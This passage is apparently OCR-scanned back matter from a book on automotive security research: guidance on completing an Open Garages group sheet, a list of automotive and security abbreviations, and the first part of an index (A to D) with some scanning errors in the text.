choose to go that route, be sure to support whatever rules and requirements
that hackerspace has, and try to promote their space with your
announcements. Be sure to list the cost of membership and how often
payment is due, which is typically monthly or yearly.

Defining Your Meeting Space

Under the garage illustration in the upper-left corner of the sheet are some
basic questions about your space. You don’t need to have immediate access
to a vehicle workshop to start an Open Garages group, but you should have
a place to meet to discuss projects and collaborate, whether that’s your home
garage, a hackerspace, a mechanics shop, or even a coffee shop.

Here’s how to answer the questions on the character sheet:

Bays The number of vehicle spaces available, if any. If you’re holding
your meeting in a two-car home garage, you’d enter 2 here. If you're
meeting in a coffee shop or a similar space, put a 0.

Meeting Space Holds Try to determine how many people can fit in
your space. If you’re meeting in a coffee shop, note how many people you
think can feasibly meet at one time. If your space has an office area, figure
out how many it seats. If your space is a garage or a parking lot, you can
put N/A. You can also note disability accessibility here.

Restrooms It’s a good idea to make beverages available during Open
Garages meetings, so you’ll want access to a restroom. Here, you can
enter Yes or No or something like behind the shed.

Internet Speed If your space is a coffee shop with Wi-Fi access you can
just put Wi-Fi, though if you know what your Internet speed is, it’s useful



to note it here. If you’re in a garage or somewhere without Internet
access, you can write tether or N/A.

Parking Note here where members can park and whether there are
special rules for parking in that area. You should also note whether these
rules vary depending on the time of day or whether someone is a private
member.

Contact Information

The box to the right of the space description is where you should note all of
your contact information for people who want to collaborate and organize
with you. Most of this should be self-explanatory. The Signup Site section is
required only if you take private membership or if people need to RSVP;
otherwise, leave this blank or put N/A. The Website section is where you
should list the main website for your group. If you don’t have a site, just use
http://www.opengarages.org/. You can list your IRC room or Twitter account
if you have one. List anything else under Other.

The black box marked Vehicle Specialty is where you can add
information about a particular vehicle focus of your group, like BMIW or
motorcycles. You could also use this space to limit the type of research to be
performed in the space if, for example, you’re interested in researching only
performance tuning.

Initial Managing Officers

To kick off an Open Garages group, you need some people to take
leadership responsibility to ensure it begins as smoothly as possible. The first
person on this list should be you, of course! If you can get a few other friends
to pitch in right off the bat, that’s great. If not, you can run your group by
yourself until more members join.

The primary responsibility of the managing officers is to ensure that the
space is opened on time and securely closed at the end. If you plan to launch
a full-blown nonprofit organization, this list would probably consist of your
board members.

Here’s the information you need to provide on your managing officers:

Name/Handle Your name or handle. Whichever you choose to list, it
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should match your contact information. For example, if you list a phone
number with your handle name, be prepared to answer the phone that
way.

Contact Info You're in charge, and people will need to contact you, so
please list your email address or phone number. If you send your sheet to
http://www.opengarages.org/, the information won’t be published or show
up on any website. The contact information is for your use in your space.

Role You can list whatever you like as your role, whether that’s owner,
accountant, mechanic, hacker, burner, and so on.

Specialty If you have a specialty, like if you’re an Audi mechanic or a
reverse engineer, include it here.

Equipment

Here’s where you should list any equipment available to you or that you plan
to have available at the space. See Appendix A for recommendations on
hardware and software that will be a help in your Open Garages group.
Some tools to list are 3D printers, MIG welders, lifts, rollers, scan tools, and
so on. There’s no need to list small things, like screwdrivers and butt
connectors.

If certain tools are expensive or require training before they can be used,
you might use the Membership Level space to denote that the user must be a
paid member to access these tools. You can also use the Skill Ranking space
to state the level of skill or training needed in order to operate a particular
tool.
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ACM
ACN
AES
AGL
ALSA
AMB
ASD
ASIC
ASIL
ASK
AUD
AVB
BCM
BCM
BGE
binutils
BMEP
cOf
CA
CAM
CAMP
CAN

ABBREVIATIONS

airbag control module

automated crash notification (systems)
Advanced Encryption Standard
Automotive Grade Linux

Advanced Linux Sound Architecture
automotive message broker
aftermarket safety device
application-specific integrated circuit
Automotive Safety Integrity Level
amplitude-shift keying

Advanced User Debugger

Audio Video Bridging standard

body control module

broadcast manager (service)

Bus Guardian Enable

GNU Binary Utilities

brake mean effective pressure

CAN of Fingers

certificate authority

cooperative awareness message
Crash Avoidance Metrics Partnership

controller area network



CANH
CANL

CARB
CC
CDR
CKP

COB-
ID

CRL
CVN
CVSS
DENM
DIP
DLC
DLC
DLT
DoD

CAN high

CAN low

California Air Resources Board
CaringCaribou

crash data retrieval

crankshaft position

communication object identifier

certificate revocation list

calibration verification number

common vulnerability scoring system
decentralized environmental notification message
dual in-line package

data length code

diagnostic link connector

diagnostic log and trace

Department of Defense

DREAD damage potential, reproducibility, exploitability, affected users,

DSRC
DTC
DUT
ECU
EDR
ELLSI
EOD

discoverability (rating system)
dedicated short-range communication
diagnostic trouble code
device under test
electronic control unit or engine control unit
event data recorder
Ethernet low-level socket interface

end-of-data (signal)



EOF  end-of-frame (signal)

ETSI  FEuropean Telecommunications Standards Institute
FIBEX Field Bus Exchange Format

FPGA field-programmable gate array

FSA  fuel stop advisor proof-of-concept
PoC

FSK  frequency-shift keying
GRC  GNU Radio Companion
GSM  Global System for Mobile Communications

HMI  human-machine interface

HS- high-speed CAN
CAN

HSI high-speed synchronous interface
IC instrument cluster

ICSim  instrument cluster simulator

IDE identifier extension

IFR in-frame response

IVI in-vehicle infotainment (system)
KES key fob

LF low-frequency

LIN Local Interconnect Network
LNA  low-noise amplifier

LOP  location obscurer proxy

LS- low-speed CAN
CAN

LTC long-term certificate



MA misbehavior authority

MAF  mass air flow

MAP  manifold pressure

MCU  microcontroller unit

MIL  malfunction indicator lamp

MOST Media Oriented Systems Transport (protocol)

MS- mid-speed CAN
CAN

MUL  multiply (instruction)

NAD  node address for diagnostics
NHTSA National Highway Traffic Safety Administration
NLFSR non-linear feedback shift register
NOP  no-operation instruction

NSC  node startup controller

NSM  node state manager

OBE  onboard equipment

OEM  original equipment manufacturer
OOK  on-off keying

OSI Open Systems Interconnection
PC pseudonym certificate

PCA  Pseudonym Certificate Authority
PCM  powertrain control module

PID parameter ID

PKES  passive keyless entry and start

PKI public key infrastructure



POF  plastic optical fiber

PRF  pseudorandom function
PRNG pseudorandom number generator
PWM  pulse width modulation

QoS quality of service

RA Registration Authority

RCM  restraint control module
RFID  radio-frequency identification
ROS  rollover sensor module

RPM  revolutions per minute

RSE  roadside equipment

RTR  remote transmission request
SCMS  security credentials management system
SDK  software development kit
SDM  sensing and diagnostic module
SDR  software-defined radio

SIM  subscriber identity module
SNS  service not supported

SRR substitute remote request
SWD  Serial Wire Debug

TCM  transmission control module
TCU  transmission control unit
TDMA  time division multiple access
TPMS tire pressure monitor sensor

TREAD Transportation Recall Enhancement, Accountability, and



Documentation (Act)

UDS  Unified Diagnostic Services

UHF  ultra-high-frequency

USRP  Universal Software Radio Peripheral
UTP  unshielded twisted-pair

V2I,  vehicle-to-infrastructure, carto-infrastructure (Europe)

C21

V2V, vehicle-to-vehicle, car-to-car (Europe)
C2C

V2X,  vehicle-to-anything, car-to-anything (Europe)
C2X

VAD  vehicle awareness device

VDS Vehicle Descriptor Section

VI vehicle interface

VII, I'TS vehicle infrastructure integration, intelligent transportation system
VIN  vehicle identification number

VM virtual machine

VoIP  voice over IP

VPW  variable pulse width

VSC3  Vehicle Safety Consortium

WAVE  wireless access for vehicle environments
WME  WAVE management entity

WMI  World Manufacturer Identifier

WSA  WAVE service announcement

WSMP WAVE short-message protocol



INDEX

Numbers

802.11p standard, 179-180, 184
8devices USB2CAN converter, 244
1609.x standard, 179-180, 184

A

ACM (airbag control module), 61
ACN (automated crash notification) systems, 64
Advanced Linux Sound Architecture (ALSA) framework, 26
Advanced User Debugger (AUD), 133-134
airbag control module (ACM), 61
ALSA (Advanced Linux Sound Architecture) framework, 26
amplified relay attacks, PKES systems, 220
amplitude-shift keying (ASK) modulation, 210-211
analyze.exe tool, 100
anonymous certificates, 189
application-specific integrated circuits (ASICs), 95
apps (IVI system), 163
arbitration IDs

defined, 18

finding, 79-80

grouping streamed data, 70-71
Arduino shields, 242
Armengaud, Eric, 30
asc2log tool (can-utils package), 41
ASICs (application-specific integrated circuits), 95
ASIL (Automotive Safety Integrity Level) system, 11, 13



ASK (amplitude-shift keying) modulation, 210-211
assembly code

converting C code to, 196-198

converting to shellcode, 199

asynchronous channel, MOST bus protocol, 25
AUD (Advanced User Debugger), 133-134
Audio Video Bridging (AVB) standard, 31
autoignition (detonation), 235

automated crash notification (ACN) systems, 64
Automotive Ethernet bus protocol, 30-31
automotive racing, 233

Automotive Safety Integrity Level (ASIL) system, 11, 13
auxiliary jacks (IVI systems), 158

AVB (Audio Video Bridging) standard, 31

AVR systems, resetting, 143

AVRDUDESS GUI, 137, 139-140, 251

B

backdoor attacks, 95

BCM (broadcast manager) service, 45, 46
bemserver tool (can-utils package), 41
BerliOS, 35

best master clock algorithm, 31

BGE (Bus Guardian Enable), 30

.bin files, 160

Binary Editor, 238

binwalk tool, 160

bird’s eye view (Level 0) threats, 3, 6-7
bitmasks, 71-72

Bluetooth connection, 9, 164, 166-167, 212
Bluez daemon, 10



BMEP (brake mean effective pressure), 235
Boone, Jared, 213
Boothe, Peter, 228
bootloaders, brute-forcing, 138-148
brake mean effective pressure (BMEP), 235
bricking, 89
broadcast manager (BCM) service, 45, 46
brute-forcing
diagnostic modes, 58-60
key code, 217
keypad entry, 228-230
secure bootloaders, 138-148
BURN2 programmer, 236
Bus Guardian, 30
Bus Guardian Enable (BGE), 30
Bus Pirate cable, 131

bus protocols, 15-16. See also names of specific protocols
Automotive Ethernet, 30-31
Controller Area Network, 16-20
FlexRay, 27-30
ISO 9141-2, 23
Keyword Protocol 2000, 22-23
Local Interconnect Network, 24
Media Oriented Systems T'ransport, 24-27
OBD-III, 33-34
SAE J1850, 20-22

C

C code, 194-202

cOf (CAN of Fingers) tool, 205-207, 250
.cab files, 160

California Air Resources Board (CARB), 33



CAMP (Crash Avoidance Metricseye view (Level Partnership), 186-187
CAMs (cooperative awareness messages), 181-183

CAN (Controller Area Network) bus protocol. See also reverse engineering
CANbus CANopen protocol, 20

differential signaling, 16-17
extended packets, 19
finding connections, 17-18
GMLAN, 20
ISO 15765-2, 19-20
OBD-II connector, 17
standard packets, 18-19
vulnerabilities, 10

CAN bus Y-splitter, 245

CAN devices
Arduino shields, 242
CAN bus Y-splitter, 245
CAN232 dongle, 244
CANBus Triple board, 245
CANTtact, 242-243
CANUSB dongle, 244
ChipKit board, 243
ChipWhisperer, 246
CrossChasm C5 data logger, 245
ELM327 chipset, 243-244
ELM-USB connector, 244
EVTYV due board, 244-245
Freematics OBD-II Telematics Kit, 242
GoodThopter board, 244
HackRF SDR, 245
Raspberry Pi, 243
Red Pitaya board, 246
serial, 39—40
setting up can-utils to connect to, 36

USB2CAN converter, 244



USRP SDR, 246
ValueCAN, 252
VSCOM adapter, 244

CAN high (CANH) wires, 16-17
CAN low (CANL) wires, 16-17
CAN network. See also CAN bus protocol; reverse engineering CAN bus
locating, 67-68

sending data with, 55

virtual, 40-41
CAN of Fingers (c0f) tool, 205-207, 250
can0 device, 38
CAN232 dongle, 244
Canberry controller, 243
CANBus Control Panel, 82-83
CANBus Triple board, 245
canbusload tool (can-utils package), 41
can-calc-bit-timing command (can—utils package), 41
can_dev module, 37-38
CANdiy-shield, 242
candump utﬂity (can—utils package), 41, 70
canfdtest tool (can-utils package), 42
cangen command (can—utils package), 42
cangw tool (can-utils package), 42
CANH (CAN high) wires, 16-17
CANiBUS server, 248
can-isotp.ko module (can—utils package), 4344
CANL (CAN low) wires, 16-17
canlogserver utﬂity (can—utils package), 42
CANopen protocol, 20
canplayer command (can—utils package), 42
cansend tool (can-utils package), 42
cansniffer tool (can-utils package), 42, 71-72



CANTtact, 242-243
CANUSB dongle, 244
can-utils package, 20
asc2log tOOl, 41
bcmserver tOOl, 41
canbusload tOOl, 41
can-calc-bit-timing command, 41
candump utility, 41
canfdtest tOOl, 42
cangen command, 42
cangw tOOl, 42
can-isotp.ko module, 43-44
canlogserver utﬂity, 42
canplayer command, 42
cansend tOOl, 42
cansniffer, 42
configuring built-in chipsets, 37-38
configuring serial CAN devices, 39-40
finding door-unlock control, 77-78
installing, 36-37
installing additional kernel modules, 42—43
isotpdump tOOl, 42
isotprecv utility, 42
isotpsend command, 42
isotpserver tOOl, 42
isotpsniffer, 42
isotptun utility, 42
log2asc tOOl, 42
log2long command, 42
recording and playing back packets, 73
setting up virtual CAN network, 40-41
slcan_attach tOOl, 42
slcand daemon, 42
slcanpty tOOl, 42



CARB (California Air Resources Board), 33
Carberry controller, 243

CaringCaribou (CC), 58-60, 249

CAs (certificate authorities), 188

CC (CaringCaribou), 58-60, 249

CDR (crash data retrieval) tools, 62

cellular networks
V2V communication and, 178
vulnerabilities, 7-8
certificate authorities (CAs), 188
certificate provisioning, 189-190
certificate revocation list (CRL), 190, 191-192
Character Sheet, Open Garages, 255-259
chip tuning. See also reverse engineering CAN bus
EPROM programmers, 236237
ROM emulators, 237-238
ChipKit board, 243
chipping process, 236
chipsets
configuring, 37-38
identifying, 128-130
ChipWhisperer, 134-135, 246
ChipWhisperer ADC, 143-144
installing, 135-137
Main Window settings for clockglitch attack, 151
prepping Victim Board, 137-138
scripting with Python, 147-148
setting up for serial communication, 140-141
Chrysler
SAE J1850 protocol, 20
VPW protocol, 22
ChuangZhou CAN-Bus shield, 242

circuit boards



chips, 128-130

model numbers, 128
CKP (crankshaft position), 121-122, 124
clock glitching, 148-154
COB-ID (communication object identifier), 20
code analysis, 106-107

interactive disassemblers, 110-112

plain disassemblers, 107-110
codes, DTC, 52-53
coding SocketCAN applications

connecting to CAN socket, 44-45

procfs interface, 45-46

setting up CAN frame, 45
common vulnerability scoring system (CVSS), 13
communication object identifier (COB-ID), 20
connectors (IVI system), 166-170
control blocks, MOS'T bus protocol, 25-26
control channel, MOS'T bus protocol, 25

Controller Area Network bus protocol. See CAN (Controller Area Network)
bus protocol cooperative awareness messages (CAMs), 181-183

crankshaft position (CKP), 121-122, 124

Crash Avoidance Metrics Partnership (CAMP), 186-187
crash data retrieval (CDR) tools, 62

CRC32 hash, 162

crc32 tool, 162

creative packet analysis, 76-80

CRL (certificate revocation list), 190, 191-192
CrossChasm C5 data logger, 245

ctrl_tx utility, 26

CVSS (common vulnerability scoring system), 13
cycles, FlexRay, 28-29



D

.dat files, 160
data length code (DLC), 19
data visualization tools, 100
DB9-to-OBDII connector, 32-33
debugging hardware
Advanced User Debugger, 133-134
JTAG protocol, 130-132
Nexus, 133-134
Serial Wire Debug, 132-133
decentralized environmental notification messages (DENMs), 183-184

dedicated short-range communication protocol. See DSRC (dedicated
shortrange communication) protocol definitions (def) file, 239

DENMs (decentralized environmental notification messages), 183-184
Department of Defense (DoD) threat rating system, 13

detonation (autoignition), 235

device under test (DUT), 137-138

DFRobot CAN-Bus shield, 242

diagnostic link connector (DL.C), 17, 51, 119. See also diagnostics and
logging diagnostic trouble codes. See D'T'Cs
diagnostics and logging, 51-65
automated crash notification systems, 64
diagnostic trouble codes, 33, 52-54
event data recorder, 61-63
malicious intent, 64-65
Unified Diagnostic Services, 54-61
dictionary attacks, 218
differential signaling, 16
DIP (dual in-line package) chips, 236
disassemblers
Dis51, 106
Dis66k, 106



interactive, 110-112

plain, 107-110
disassembling IVI unit, 168
DLC (data length code), 19

DLC (diagnostic link connector), 17, 51, 119. See also diagnostics and
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